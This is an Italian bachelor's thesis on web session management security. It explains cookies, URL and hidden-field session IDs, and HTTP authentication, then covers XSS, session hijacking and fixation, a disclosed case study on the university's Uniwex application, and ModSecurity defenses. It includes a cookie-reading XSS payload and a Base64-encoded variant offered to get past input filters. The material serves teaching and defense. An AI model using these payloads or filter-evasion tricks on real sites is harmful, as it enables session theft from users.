ad Alberto, per il sostegno morale e tecnico, e per avermi insegnato ad analizzare i problemi in-depth.

Dimensione: px
Iniziare la visualizzazioe della pagina:

Download "ad Alberto, per il sostegno morale e tecnico, e per avermi insegnato ad analizzare i problemi in-depth."

Transcript

1 ai miei Genitori, per tutto il supporto e per avermi dato la possibilità di farmi una cultura. ad Alberto, per il sostegno morale e tecnico, e per avermi insegnato ad analizzare i problemi in-depth. a Chiara, per essere sempre presente, e per essere quello che meravigliosamente è...

2

3 Indice Introduzione v 1 Session Management nelle applicazioni Web 1 2 Vettori di attacco 3 3 Tecniche di difesa implementabili 7 Conclusioni 11 A Session Management nelle applicazioni Web 13 A.1 Stateful Sessions and their implementations A.2 Cookies specification A.3 URL-based Session ID A.4 Hidden Field-based Session ID A.5 HTTP authentication A.6 Conclusions B Vettori di attacco 23 B.1 Technical Background B.1.1 Javascript B.1.2 Cross Site Scripting B.2 Common attack vectors B.2.1 Session Hijacking B.2.2 Session Fixation i

4 ii INDICE B.2.3 Cross Site Tracing B.2.4 Liberal Cookie Scope B.3 Uncommon attack vectors B.3.1 HTTP Request Smuggling B.3.2 Phase space analysis and FIPS tests B.4 Real world attack case: Uniwex B.4.1 Wrong session token redundancy B.4.2 Wrong session token issuing mechanism leads to Session Fixation B.4.3 Wrong management of expired sessions leads to Information Disclosure B.4.4 Secunia Advisory SA19493 for Apache Struts prior to B.4.5 TRACE method enabled B.5 Conclusions C Tecniche di difesa implementabili 61 C.1 ModSecurity: the open source web application firewall C.2 Session Management protection C.3 HTTP Request Smuggling protection C.4 HTTP Session Fixation protection C.5 General attack vectors protection C.6 Right direction to Web Application Traps? C.7 Eliminating session management insecurities forever? C.8 Conclusions Bibliografia e Webografia 75

5 Elenco delle figure 3.1 Un esempio di infrastruttura di rete sicura, con reverse proxy e ModSecurity come WAF A.1 Alcuni dei piu comuni attributi di un cookie A.2 Risposta raw di Uniwex che rilascia un cookie tramite la direttiva Set-Cookie A.3 Richiesta raw ad Uniwex, comprensiva di stato tramite la direttiva Cookie A.4 Login su openemm.org con session token nell URL A.5 Codice sorgente di una pagina HTML accessibile solo dopo login. 18 A.6 Risposta raw di autenticazione fallita in un applicazione che implementa HTTP authentication A.7 Richiesta raw ad una risorsa dopo avvenuta autenticazione via HTTP Basic Authentication B.1 Percentuale di applicazioni web vulnerabili agli attack vectors piu comuni B.2 Diagramma che illustra come dirottare la sessione di una vittima. 29 B.3 Le cinque fasi proprie di un attacco di Session Fixation B.4 La rete onion-routing di Tor, utile per nascondersi dietro catene di proxies B.5 FIPS poker test e relativo risultato grafico, con Burp Sequencer. 48 B.6 Primo di una serie di 4 screenshoots che dimostrano l attacco di Session Fixation su Uniwex iii

6 iv ELENCO DELLE FIGURE B.7 Secondo screenshoot dove il session token viene copiato da Firefox a Opera B.8 Terzo screenshoot dove si prende effettivamente controllo della sessione della vittima B.9 Ultimo screenshoot dove si continua ad interagire con l applicazione nella sessione della vittima B.10 Una parte della lunga eccezione lanciata dallo stack applicativo di Uniwex, durante la manipolazione di alcuni cookies C.1 Le cinque fasi del control flow di ModSecurity C.2 Un esempio di infrastruttura di rete sicura, con reverse proxy e ModSecurity come WAF

7 Introduzione Oggi Internet non sarebbe lo stesso se Tim Berners Lee non avesse gettato le fondamenta per quello che oggi conosciamo come World Wide Web, la grande ragnatela. Senza di esso Internet non avrebbe certamente raggiunto le dimensioni odierne, sia in termini di calcolatori che di inter-connessioni: sarebbe probabilmente uno strumento utile si, ma decisamente meno diffuso e molto meno usato. In effetti se si pensa all utilizzo che la maggior parte degli utenti fanno di Internet è proprio navigare la grande rete con un comune browser, dove ormai possono fruire di una serie di servizi impensabili un tempo: applicazioni di e-commerce, banche dati, transazioni monetarie, office suites, giochi, ecc. In pratica ogni applicazione può essere adattata o riscritta per essere accessibile da un normale browser, con evidenti miglioramenti di scalabilitá [1] e compatibilitá software (cross-platform compatibility): questa é una tendenza che sta prendendo sempre piú piede, come dimostrato in varie iniziative di Google come Google Docs, Meebo con il suo Instant Messaging online, Microsoft cone la suite Office Live. Se si analizza il crescente utilizzo e diffusione del World Wide Web dal punto di vista della Sicurezza IT, si può arrivare alla seguente e ovvia conclusione: piú un servizio/applicazione é diffuso e usato, piú verrá preso di mira da hackers, crackers e criminali informatici. A maggior ragione, con l utilizzo della Grande Rete per la fruibilitá di servizi bancari, acquisti on-line e comunicazioni B2B riservate, la tutela della Privacy, dell Integritá dei dati, della Confidenzialitá delle comunicazioni, dell Identitá e Trust delle parti sono diventati requisiti necessari ed imprescindibili per ogni applicazione che v

8 vi INTRODUZIONE si affaccia ad Internet. Determinati da una relazione di proporzionalitá diretta, aumento dei servizi fruibili via Web e hacking vanno ormai di pari passo, tanto che la nascita di figure professionali specializzate nel solo campo della Sicurezza delle applicazioni Web non sono ormai cosí rare. Questi esperti di IT security spesso non sono altro che Ethical Hackers, ossia persone con grosse skills che fanno il lavoro sporco prima che venga fatto da qualche criminale. Il precedentemente menzionato lavoro viene chiamato penetration test in gergo tecnico, e puó essere classificato in vari modi: due dei piú usati sono Black Box e White Box test. Parliamo di Black Box test quando l applicazione che viene testata, in modo piú o meno intrusivo, é closed source o comunque non si conoscono la sua architettura o il suo source code. Il White Box test al contrario é quello che permette l analisi piú profonda, spesso rivelando bugs altrimenti impossibili da trovare in un penetration test normale. Il penetration test é un attivitá particolarmente delicata, sia a livello informatico che giuridico: senza autorizzazione scritta e firmata da parte del cliente, un penetration tester non dovrebbe mai avviare il suo lavoro sporco in quanto oltre alla possibilitá di causare disservizi, potrebbe essere perseguibile penalmente. Avere nelle proprie mani la capacitá di arrecare danni, sovvertire software scritto da altri, far agire un applicazione come si vuole, spesso rende l hacker (buono o cattivo che sia) talmente sicuro di se stesso e tronfio da sentirsi Dio per un attimo (per chi ci crede). C é comunque da dire che avere un Ethical Hacker nella propria squadra di sviluppatori, o di analisti software, torna decisamente a vantaggio dell azienda: conoscere come si muovono gli hackers, saper agire come loro, essere al corrente delle ultime vulnerabilitá in circolazione nel mondo underground, limita le possibilitá di mettere sul mercato un applicazione non-sicura e facilmente compromettibile. Ho oculatamente scelto di definire la mia analisi come hacker, in quanto viene fatta in modo probabilmente non convenzionale ad una tesi triennale, seppur di Sicurezza, specialmente per il fatto che buona parte della tesi é

9 INTRODUZIONE vii basata su active exploitation, cioé sfruttamento di vulnerabilitá, legate al Session Management nelle applicazioni Web. Come la vera attitudine hacker vuole, ho cercato di essere il piú preciso possibile, in linea con le RFCs, andando a fondo nella mia analisi, senza fermarmi a qualche ricerca fatta o qualche semplice tecnica imparata nell underground. La mia analisi si articola in tre capitoli, chiaramente posti in un preciso ordine: Capitolo uno, dove si presenta la tematica del Session Management nelle applicazioni Web analizzando tutte le tecniche attualmente usate per ovviare alla mancanza di stato nel protocollo HTTP. Si inizia presentando i Cookies che sono il metodo piú comune e l unico RFC compliant, per continuare con i session tokens passati nell URL e negli hidden form fields, concludendo con l HTTP authentication anch essa RFC compliant ma che sta ormai cadendo in disuso poiché poco flessibile. Capitolo due, dove si analizza la moltitudine di attacchi realizzabili contro le tecniche di Session Management descritte precedentamente. Dagli attacchi piú classici come il Session Hijacking a quelli piú complessi come l HTTP Request Smuggling, che uniscono a falle del protocollo HTTP errori di gestione di pacchetti malformati da parte dei piú comuni web/application server. Per non restare sulla mera teoria si presenteranno una serie di vulnerabilitá rinscontrate in Uniwex, l applicazione web principale usata dagli utenti (docenti, studenti, segreterie) dell Universitá di Bologna per la registrazione dei voti, la prenotazione degli esami, e tutti i cavilli burocratici. Le vulnerabilitá analizzate sono state comunicate ad Unimatica S.P.A e al CeSia tre settimane prima della presentazione pubblica dei bugs stessi. Infine insieme al relatore Ozalp Babaoglu é stata organizzata una presentazione al CeSia dove tutti i bugs sono stati ampiamenti discussi, e dove si sono organizzate alcune dimostrazioni live degli attacchi effettuabili contro Uniwex.

10 viii INTRODUZIONE Capitolo tre, dove si conclude la dissertazione con l analisi di alcuni meccanismi di difesa implementabili in ambienti enterprise, e quindi sicuri e scalabili. Verrá presentato ModSecurity, il Web Application Firewall open source leader nel mercato, ed una serie di rules e policy di sicurezza atte a limitare (se non prevenire) quasi tutti gli attacchi descritti nel secondo capitolo. Infine si conclude con alcuni proof-ofconcept come le Web application traps, utili a fini di ricerca e probabilmente uno degli argomenti che verranno piú dibattuti nei prossimi anni.

11 Capitolo 1 Session Management nelle applicazioni Web Il Web si basa sul protocollo HTTP [2] che, essendo stato concepito nel 1990 per servire ipertesti fondamentalmente statici, è basato su un semplice modello di richiesta/risposta dove ogni coppia di messaggi può essere vista come una singola e diversa transazione. Questo significa che il server che ospita i contenuti HTML e li serve al client non può associare una risorsa all utente che l ha richiesta, non può sapere quale pagina l utente stia visitando, non può differenziare le richieste di un particolare utente da tutte quelle che gli vengono fatte. Per questo Hyper Text Transfer Protocol è un protocollo essenzialmente stateless, poichè privo di uno stato: la sua natura è direttamente associabile ai firewalls, inizialmente concepiti come dispositivi per controllare flussi di dati da un punto ad un altro in maniera stateless. I primi state-less firewalls, ancora in uso in alcune realtà, essendo incapaci di assegnare uno stato a un pacchetto di dati, non riuscivano a differenziare se il pacchetto da processare fosse stato generato da una nuova richiesta o non fosse altro che parte di una comunicazione già in atto (e già consentita). Se la natura state-less di HTTP poteva andare bene quindici anni fa, già con il boom delle dot-com la mancanza del concetto di sessione si faceva 1

12 2 INTRODUZIONE sentire. I semplici siti si trasformavano nei primi esperimenti di siti di e-commerce, in complesse applicazioni che trascendevano da una mera rappresentazione statica di ipertesto. La risposta arriva definitivamente a fine anni novanta prima dalle ricerche di Kristol dei Bell Laboratories [3], poi da Netscape con la famosa specifica dei biscotti magici HTTP Cookies: la formalizzazione arriva nel 2000 con l RFC 2695 [4]. Superare le limitazioni di HTTP ed avere la possibilità di creare sessioni stateful è alla base di tanti servizi e possibilità prima non fattibili: creare il concetto di registrazione e autenticazione in un applicazione web senza che l utente debba reinserire le sue credenziali di accesso per ogni risorsa richiesta, implementare la logica di un supermercato online, disporre di applicazioni intelligenti che ricordano l utente dalla sua ultima visita e che cambiano dinamicamente a seconda delle sue preferenze. A seguito verranno presentate le tecniche utilizzate per creare uno stato nel protocollo HTTP, e renderlo così stateful e adatto ai requisiti della applicazioni odierne. Verranno ampiamente descritti i cookies, descritti e successivamente migliorati rispettivamente nelle RFCs 2109 e 2965, che rappresentato il meccanismo più usato e dibattuto nella gestione delle sessioni nelle applicazioni web. Verranno anche presentate le altre tecniche riscontrabile nelle odierne applicazioni web: identificatori di sessione passati al server tramite parametri direttamente nell URL, ampiamente usati nelle applicazioni che vogliono mantenere il concetto di stato anche in presenza di browsers che non supportano o disabilitano i cookies (sempre di meno); session tokens passati all applicazione web tramite hidden form fields, ossia parametri in form HTML nascosti, usati maggiormente in passato prima dell avvento dei proxies per analizzare il flow delle applicazioni; infine HTTP authentication, anch essa presente nelle RFCs (esattamente nella RFC 2617), ormai in disuso a causa della sua poca versatilitá.

13 Capitolo 2 Vettori di attacco Dopo varie e necessarie pagine di presentazione dell argomento, che dovrebbero così renderlo avvicinabile anche ai meno esperti, veniamo alla parte più interessante e su cui è stata focalizzata la ricerca: sfruttare e manipolare il session management a nostro vantaggio, se siamo hackers. Come abbiamo detto in precedenza, uno dei tanti vantaggi nell avere uno stato tra richieste e risposte è quello di poter distinguere tra utenti autenticati o non: senza la presenza di cookies o session IDs scambiati in qualche modo, un utente che si autentica nell applicazione e ne richiede una particolare risorsa dovrebbe re-autenticarsi per ogni risorsa richiesta successivamente (non intesa come pagina, ma intesa come ogni singolo componente che la caratterizza). Il session ID viene dunque associato ad un determinato utente che si è autenticato con successo sull applicazione web. Se si riflette su quanto appena detto si arriva ad una particolare constatazione: se un utente autenticato viene associato con un session ID, e se questo session ID gli permette di non re-autenticarsi durante la sua permanenza nell applicazione per un tempo x, questo vuol dire che se si entra in possesso del suo token di sessione si avrà accesso alla sessione autenticata. Questo senza dover fornire alcuna credenziale di autenticazione o forgiare pacchetti IP grezzi: la maggior parte degli sviluppatori fallisce nel tentare di risolvere questo problema, o il più delle volte non lo prende neanche in considerazione. 3

14 4 INTRODUZIONE I paragrafi qui a seguire tratteranno in modo strettamente tecnico le varie tipologie di attacchi realizzabili per l ottenimento dei preziosi ID di sessione. Si comincia con introdurre alcune tecnologie ed attacchi generici che serviranno in seguito per comprendere al meglio le analisi riportate, e che dovrebbero dare al lettore un minimo di background tecnico nel caso già non lo avesse. Si presenteranno molto velocemente la tecnologia Javascript, essenziale per manipolare il DOM della pagine ed interagire con le varie parti del documento per richiamare ad esempio document.cookie, e gli attacchi di Cross Site Scripting, che rappresentano la più grande piaga delle delle applicazioni web negli ultimi anni. Si prosegue con l analisi degli attacchi più comuni ed efficaci, dove è quasi sempre necessario trarre in inganno la vittima (ad esempio, tramite l utilizzo di links maligni) per portare a termine l attacco. L attacco di Session Hijacking, il più classico e uno dei più devastanti se unito a vulnerabilità XSS in parti riservate dell applicazione; il fissaggio della sessione, meglio conosciuto come Session Fixation, decisamente il più sottile e difficile da perseguire penalmente in quanto l hacker prende il controllo della stessa sessione della vittima; Cross Site Tracing, dove il metodo TRACE unito alle vulnerabilità dei browsers rendono il furto di cookies e session tokens molto semplice; infine alcune considerazioni sulla creazione dei cookies, specificatamente sulla scelta degli attributi Domain e Path e di come possono essere sfruttati da un hacker, se mal configurati dagli sviluppatori. La ricerca si dirige poi verso i cosiddetti uncommon attack vectors, ossia attacchi non comuni (ma non per questo meno devastanti) che comprendono l HTTP Request Smuggling, un attacco molto raffinato e sfruttabile solo in determinati scenari con la presenza di più devices in cascata (come web server/application server, o load balancer/application server, per citarne alcuni), e studi statistici come l analisi del phase space. Infine verrà presentato un case-study su Uniwex (http://uniwex.unibo.it), creato appositamente per questa ricerca per dimostrare come la maggior parte delle applicazioni web soffrano di problematiche di sicurezza legate

15 INTRODUZIONE 5 ad un cattivo Session Management, e come le Università come quella di Bologna, seppur rinomati centri informatici, soffrano delle stesse vulnerabilità delle applicazioni più comuni. Le diverse vulnerabilità scoperte durante l analisi di Uniwex sono state ampiamente discusse in quanto crediamo che la politica di Full Disclosure sia la più adeguata nella comunicazione dei bugs: l etica non è stata dimenticata come si potrebbe azzardare, in quanto gli organismi competenti che hanno sviluppato l applicazione e ne gestiscono il mantenimento, sono stati informati con un dettagliato whitepaper.

16 6 INTRODUZIONE

17 Capitolo 3 Tecniche di difesa implementabili Come ogni ricerca di sicurezza che si rispetti, anche questa verrà conclusa con la presentazionedi possibili meccanismi di difesa atti a limitare (se non prevenire) gli attacchi ampiamente descritti nel capitolo due. Esistono fondamentalmente due approcci nel gestire la sicurezza nelle applicazioni web: assicurarsi tramite costanti penetration tests che le nostre applicazioni non presentino vulnerabilità sfruttabili e che siano state scritte rispettando almeno in parte i principi dell SSDL (secure software development lifecycle), oppure posizionare uno o più filter mechanisms tra la nostra infrastruttura di web/application servers e i clients. Se la prima è da considerarsi sempre la migliore, anche se decisamente più costosa in termini di tempo e denaro, la seconda sta prendendo sempre più piede tanto che i maggiori produttori di security appliances come firewalls e IDS (Cisco in primis [5]) hanno creato le loro soluzioni personalizzate per proteggere gli assets propri di una web application. Aggiungere alla propria infrastruttura un Web Application Firewall come filter mechanism aiuta a prevenire attacchi noti e non, ed è la soluzione migliore quando modificare l applicazione per patchare delle vulnerabilità di sicurezza non è una strada affrontabile in tempi ragionevoli per vari motivi. 7

18 8 INTRODUZIONE Un WAF (Web Application Firewall), alla strenua di un firewall, non deve essere inteso come panacea a tutti i mali, in quanto anche i WAF non sono esenti da bugs nelle loro engines o nei vari sets di rules e regular expressions. Web Application Security Consortium, un associazione no-profit di esperti di sicurezza web alla strenua di OWASP, ha creato un interessante progetto utile a valutare tecnicamente i WAF, il Web Application Firewall Evaluation Criteria: oltre a specifiche tecniche circa cosa, come e quando un WAF deve intervenire su pacchetti HTTP, dal documento traspare la necessità di seri meccanismi di ispezione del traffico HTTP che vadano ben oltre le limitate capacità di un IDS o di un comune firewall. Si è deciso di presentare alcune tecniche di difesa implementabili con ModSecurity, un modulo per Apache creato da Ivan Ristic, noto esperto di sicurezza che si era fatto conoscere con il famoso libro Apache Security [6]. ModSecurity è un WAF diventato ormai stabile e performante (versione 2.5.5, al 6 Giugno 2008), adatto agli ambienti di produzione e configurabile come modulo di Apache: per chi non usasse Apache come web server, può tranquillamente dedicare una macchina ad Apache configurato come reverse proxy come in Fig. 3.1, e con ModSecurity, in modo tale che tutto il traffico HTTP passi necessariamente prima dal proxy che deciderà se bloccarlo o forwardarlo al giusto destinatario.

19 INTRODUZIONE 9 Figura 3.1: L infrastruttura che raccomandiamo in ambienti enterprise (Copyright Michele Orrù, 2006).

20

21 Conclusioni La sicurezza informatica assume sempre maggior importanza non solo tra gli esperti del settore e per chi ne ha fatto la propria ragione di esistere, ma anche nella vita di tutti i giorni con il massiccio e sempre crescente uso dell informatica in ogni aspetto della nostra vita che possa essere automatizzato. La sicurezza delle applicazioni web da qualche anno è diventata l argomento decisamente più scottante sia per gli esperti di sicurezza come noi, sia per gli incauti navigatori della grande rete che nasconde nuove insidie che rendono impotenti la stragrande maggioranza dei suoi utenti. Se tanto è stato fatto nel dare un etica a ciò che definiamo Full Disclosure e a regolare la comunicazione dei bugs ai relativi vendors, nell insistere sui programmatori e sugli analisti software sulle buone norme di programmazione sicura e sui Security Patterns [7], nel creare più o meno efficaci meccanismi di difesa, tanto deve essere ancora fatto. L approccio più serio ed efficace per affrontare la sicurezza di grosse applicazioni web è quello proposto da Whitehat Security: Jeremiah Grossmann e soci hanno sviluppato un ottimo prodotto di vulnerability management, chiamato Sentinel, che combina avanzate tecnologie di scanning automatizzate con l analisi degli esperti. Non dimentichiamoci che Grossmann e soci sono alcuni dei maggiori esperti di web application security al mondo. Le ultime geniali novità di Sentinel sono la correlazione dei risultati di scansione con il WAF ModSecurity: in sostanza se Sentinel trova una potenziale Blind SQL injection, la include nel suo report e crea un regola di ModSecurity per identificare e bloccare gli eventuali attacchi. In questo modo gli sviluppatori 11

22 12 CONCLUSIONI hanno tutto il tempo per poter valutare e patchare le suddette vulnerabilità, senza le troppo comuni soluzioni quick-and-dirty. Tra le tante cose ancora da creare (o modificare, se già esistono) traspare la necessità un meccanismo davvero sicuro per creare uno stato nel protocollo HTTP, perchè i cookies della RFC 2965 non sono abbastanza sicuri per garantire Privacy e Riservatezza, per tutti i motivi ampiamente descritti nel capitolo due. La soluzione ottimale descritta alla fine del terzo capitolo, ossia l uso di certificati SSL lato client in accoppiata con i tokens di sessione (e il controllo della loro presenza ed autenticità ad ogni richiesta) è un ottimo approccio ma rischia di essere poco praticabile in complessi ambienti enterprise come Amazon.com o Ebay.com per citarne alcuni, visto che ad ogni client bisognerebbe associare un certificato SSL. È comunque un dato di fatto che quanto detto da Bruce Schneier circa la necessità di un uso sempre maggiore della crittografia, data la legge di Moore e quindi la sempre maggior potenza dei processori, non si possa che rivelare vero: lo si è visto con l avvento dei security standards della PCI [8] e con le iniziative di vari ricercatori di Kaspersky Labs che si impegnano a fattorizzare una chiave RSA a 1024 bits [9]. Probabilmente un approccio come quello dell utilizzo di SSL lato client inizierà ad essere preso in considerazione in ambienti mission-critical, e la strada di ricerca più sensata in questo senso è la verifica che OpenSSL non contenga bugs nella generazione degli ID di sessione, o che comunque il meccanismo di handshake non possa essere contraffatto [10] o aggirato. Non per niente poco tempo fa è stato scoperto un grave bug in OpenSSL in una popolare Linux distro, Debian Etch: considerato quante distro si basano su Debian, potete comprendere il grado di pericolosità [11], anche perchè gli exploits che girano su milw0rm e su metasploit sono già funzionanti. Come sottolineato più volte la sicurezza è un processo, non un prodotto: in quanto tale è sempre atto a subire continui miglioramenti e correzioni. Pensare che si possa ottenere la sicurezza totale della propria infrastruttura IT è da ignoranti, ed è oltremodo vero per le stesse applicazioni web e per il Session Management.

23 Appendice A Session Management nelle applicazioni Web A.1 Stateful Sessions and their implementations HTTP is a connection-less protocol: it doesn t have any pre-builded way to track sessions and map them to multiple users. Lets think a moment about a multi-user web application like a bug-tracker, in which different levels of privilege and different users exist: so how the application can map every request with the correct user that made it? As RFC 2965 says, web applications must map user sessions issuing cookies to the web browser that make the request: the cookie is accepted and stored in the browser (permanently or not) and every GET/POST request that will succeed should contain this cookie. A.2 Cookies specification As we said before, cookies are created as an extension to the HTTP protocol to give it a state between client requests and server responses: originally they were developed by Netscape, and later two RFCs (2109 and 2965) tried 13

24 14 A Session Management nelle applicazioni Web to realize in a concrete way the exact requisites needed to extend HTTP to a stateful protocol. When a web server issues a cookie to a client, it s asking him to remember a small portion of the HTTP header, and to include it in every next request: usually the client doesn t need neither understand the meaning of the cookie value, he just passively send it back to the server. A cookie example can be found in Fig.2: it is taken from uniwex.unibo.it, the web application of the Bologna University that we re going to analyze and attack in this research. We will briefly describe each cookie property here Figura A.1: The most common attributes of a cookie. below: name: represents the cookie ID, useful when it must be referenced or retrieved at server side; value: is where session ID and all the most relevant informations are placed; host: the cookie issuer, in this case the domain name of the server where the web application is hosted; path: the subset of URLs on the origin server to which the cookie applies;

25 A.3 URL-based Session ID 15 expires: the expiry date after which the cookie becomes invalid; secure: RFC2965 is not clear about this option, anyway it means that cookies are sent and accepted only through an SSL/TLS connection. That should theoretically protect from man-in-the-middle cookie stealing. Path and Secure options are not secure as they can appear: a common misconception is that HTTPS websites are secure just because the channel is secure. That is definitely far from the truth, because end points (client browser and server side code) where cryptography ends are still vulnerable to all the common exploitation vectors that affect normal applications that don t run on SSL/TLS, as we will discuss in the next chapter. Path option too is almost always set too liberal by developers: that opens new security holes that we will present in chapter two. To better understand how client and server exchange the cookie, we can proxify the requests of our browser to a Java program (Burp Proxy, in our case) that logs every HTTP request/response pair, as it is reported in figures A2 and A3. Obviously cookies are not the only way to create a stateful session, because theoretically what is needed is just, as we have seen before, a session ID, if user tracking for marketing or statistical analysis is not important. For this reason several alternatives there exist, some of which are already used in thousand of web applications. We will briefly discuss them in next paragraphs. A.3 URL-based Session ID Embedding Session ID informations in the URL means that the state between the client and the web application is maintained automatically whenever the client makes an HTTP GET or POST request: a particular parameter (by default JSESSIONID if we re working with JEE, PHPSES- SID if PHP) with his 128bits value is always present and visible in the URL

26 16 A Session Management nelle applicazioni Web Figura A.2: The server issues a cookie after a request with a Set-Cookie header parameter. Figura A.3: The client continues with his requests, including in the HTTP message header the cookie that the server previously issued to establish a state.

27 A.3 URL-based Session ID 17 Figura A.4: Login request to demo.openemm.org. Note the POST request with jsessionid embedded in the URL after the resource. and appended by the web application to every of its resources like images, pages, forms and scripts. In this way when the client will ask for a resource the application can easily map him to a particular session, and identify him between hundreds of other clients. URL-based State Management is particularly used by applications that needs to work even with browsers that disable cookies: a huge range of enterprise applications use it as their preferred way to manage sessions. Here below we will show a raw request/response pair to OpenEMM demo application, an industrial-strength enterprise software for marketing used by leading companies like IBM, BenQ, Siemens, Tiscali, etc. As it s clearly visible in Fig. A5, every request that will succeed, it will contain the session ID because the URL resources as /images/emm/logo ul.gif are concatenated with the state information as jsessionid=hqfln i- 8-hZXYA4Nr: that better explain the relation between HTTP GET/POST requests and URL-based State Management

28 18 A Session Management nelle applicazioni Web Figura A.5: The page the client was requesting has been generated by the server, embedding after each resource the session ID (as it s visible in the HTML code).

29 A.4 Hidden Field-based Session ID 19 A.4 Hidden Field-based Session ID A commonly used way to preserve state in Web pages is to hide data into it: the way this mechanism works is similar to cookies, except that the session ID is not in the HTTP header, but in the HTTP body with the rest of the HTML code. Ruby on Rails, a popular MVC web framework, considers hidden fields an important way to manage sessions and gives to his developers a useful library: Hidden Field Session. It s a very simple plugin: it just adds session ID on every requesting url and hidden text field tag in order to keep session. Here below an excerpt of the source code: def hidden_field_session_filter return unless hidden_field_session_enabled? session_key = ActionController::Base.session_options [:session_key] :_session_id return if cookies[session_key] if session_id = request.session.session_id response.body.gsub!(%r{(</form>)}i, "<input type= hidden name= #{CGI::escapeHTML session_key.to_s} value= #{CGI::escapeHTML session_id} >\\1") end end We can clearly see how the library interacts with the construction of the response body, including an hidden field (type=hidden) with session ID informations. Anyway hidden fields are not a good security practice, because they can be simply modified editing the source code of the web page we re viewing (and then refreshing it), or with a more sophisticated way with a proxy like Burp Proxy (the one we used previously to analyze cookies). To make things worst, usually session IDs stored in hidden fields are not almost random such as application server cookies, but encoded with Base64, double XOR or other fast but insecure algorithms.

30 20 A Session Management nelle applicazioni Web Figura A.6: Note the WWW-Authenticated HTTP header parameter and the 401 HTTP code. A.5 HTTP authentication HTTP authentication, as stated in RFC2617, includes the specification for a Basic or Digest Access Authentication scheme. The difference between Basic and Digest is, as the words say, that only the latter is almost secure because a digest is used. Regarding session management, HTTP authentication could be considered as an alternative to the other previously seen solutions only if what we need is to create a session for authenticated users. As shown here below, the client that requests a protected resource must authenticate himself (Fig.A.6): the server will then present to the client a login pop-up to insert his credentials. Finally the client will include the password properly encoded (depending on which authentication mechanism

31 A.6 Conclusions 21 Figura A.7: Note the Authorization HTTP header parameter. The server except a Basic (Base64 encoding) HTTP Authentication. the server supports) as an header parameter in every request (Fig. A.7). Below some screenshots of a proxy analysis of an HTTP authentication phase: in this case the server is using Basic Authentication, that means weak Base64 encoding on the password. A.6 Conclusions Even if cookies were debated for years, for their abuse when they were used to track user activities and web habits [12], they are the most secure mechanism to implement a state in modern web applications. In fact without cookies we cannot implement most of the new Web 2.0 benefits to welcome the user even if it is not logged, or make marketing campaigns as Amazon has shown us. Some security researchers suggest to web-banks and other mission-critical web applications to employ at least cookies and hidden fields together, to build something like a double-defense layer. We think that instead of implement multiple mechanisms, is better to use

32 22 A Session Management nelle applicazioni Web just cookies but implemented in a good way: strong pseudo-random number generators, good expiration policies, and protections from all the attacks described in the next chapter, with the techniques analyzed in the last one.

33 Appendice B Vettori di attacco B.1 Technical Background Before to start analyzing the attack surfaces, we need some technical background. The following paragraph will briefly introduce the Javascript technology and a general web application attack that is spreading fast: Cross Site Scripting, or XSS. B.1.1 Javascript Javascript is an object oriented scripting language, widely used in almost all web applications, and in different web technologies as DHTML and AJAX, or frameworks like Prototype, DWR and GWT. The latest Javascript version is the 1.5, and it became a standard in 1999 as ECMA-262 Edition 3. Like Java Applets, Javascript is executed inside a sandbox, that prevent access to the browser s host system and limit access to browser s properties: despite that a lot of devastating attacks can be done with Javascript, as Jeremiah Grossman has shown to the IT security world [13], and as phishing is demonstrating it [14]. An important security concept in Javascript is the same-origin policy, stating that JS scripts can read or write only properties of documents that have the same origin as the script itself. Directly from Mozilla s website: 23

34 24 B Session Management nelle applicazioni Web Mozilla considers two pages to have the same origin if the protocol, port (if given), and host are the same for both pages. There is one exception to the same origin rule. A script can set the value of document.domain to a suffix of the current domain. If it does so, the shorter domain is used for subsequent origin checks. For example, assume a script in the document at executes this statement: document.domain = company.com ; After execution of that statement, the page would pass the origin check with However, using the same reasoning, company.com could NOT set document.domain to othercompany.com. The same-origin policy is important in our dissertation because defines also to which cookies Javascript can have access. B.1.2 Cross Site Scripting In fact Cross Site Scripting attacks are known from 2000 [15], but they are still a plague for most of the web application. The Web Application Security Consortium, an association of the best web application security specialists in the world, is constantly grabbing statistics about the attacks vectors that affect web application. As you can see in the Fig.10, more than 85 percent of the web site were vulnerable to XSS in 2006: today the situation is mostly the same. Cross Site Scripting attacks born from the lack of input validation on web forms, variables and dynamic code: basically the developers that write code trust the end-users that will use the web application. They trust every input, thinking that if a variable must display to the user his name like https://hackme.com/secure/page.html?user logged in=$username, it will always contain just the name of the user (a string of alphabetical characters): that s obviously wrong, because is we modify the request to the page with a proxy changing the variable value with something like <script>alert(document.cookie)</script> or

35 B.1 Technical Background 25 Figura B.1: Percentage of website vulnerable by class of attacks (Web application security consortium, 2006) ><script>alert(document.cookie)</script> depending if we must close the previous tag, then we can use Javascript to interact with the page document and create a popup with the session ID informations. If the web application is actually filtering our input, escaping <, >, /, (, ) characters, we can circumvent his protection encoding our scripts with Base64 encoding: in this way the first script will become PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg== Quite incomprehensible for humans, but exactly the same for and HTML parser: URL, Hex, HTML and Base64 encoding are really useful especially when we won t immediately show to the victim our scripts, and we don t need complex Javascript obfuscation techniques. Recently Zoiz, a sla.ckers.org fellow like us discovered an XSS bug on one of Yahoo! s portal: encoding the attack vector with Base64 he was able to bypass NoScript protections, a powerful Firefox plugin to prevent the execution of dynamic scripts [16]. Cross Site Scripting attacks can be classified in three big families:

36 26 B Session Management nelle applicazioni Web stored or persistent, where the malicious code is inserted in some HTML form or other parameters that persist their values in some ways, such as in a Database, and is then executed by each client that request the particular infected page until it s not cleaned or deleted; reflected, where the malicious code is embedded in the web page and echoed to the client browser immediately after the request, usually exploited through malicious links; DOM based, that are more specific to some scenarios where the web application parses data from document.location, document.url and document.referrer in an insecure way. The DOM states for Document Object Model and is the whole bunch of Javascript objects that represent almost all the page properties: the browser parses the HTML into DOM and when arrives to a potential Javascript malicious code execute it. Despite the comments of many security professionals that consider XSS a trivial and not-useful attack, not for true hackers, we think that they re one of the most serious attacks in software security in the last years. That because they can lead to XSS worms, XSS shells such as BeeF and other browser exploitation frameworks: Wade Alcorn, father of bindshell.net projects, wrote an excellent paper about XSS Virus [17] and how they are really becoming the new Web 2.0 applications plague. B.2 Common attack vectors B.2.1 Session Hijacking The term Hijack related to session IDs is self-explanatory: in a typical session hijacking attack the state between the victim and the web application is hijacked to the attacker. This means that the attacker needs to exactly know the state information issued to the victim, so he must use some means to capture the session token.

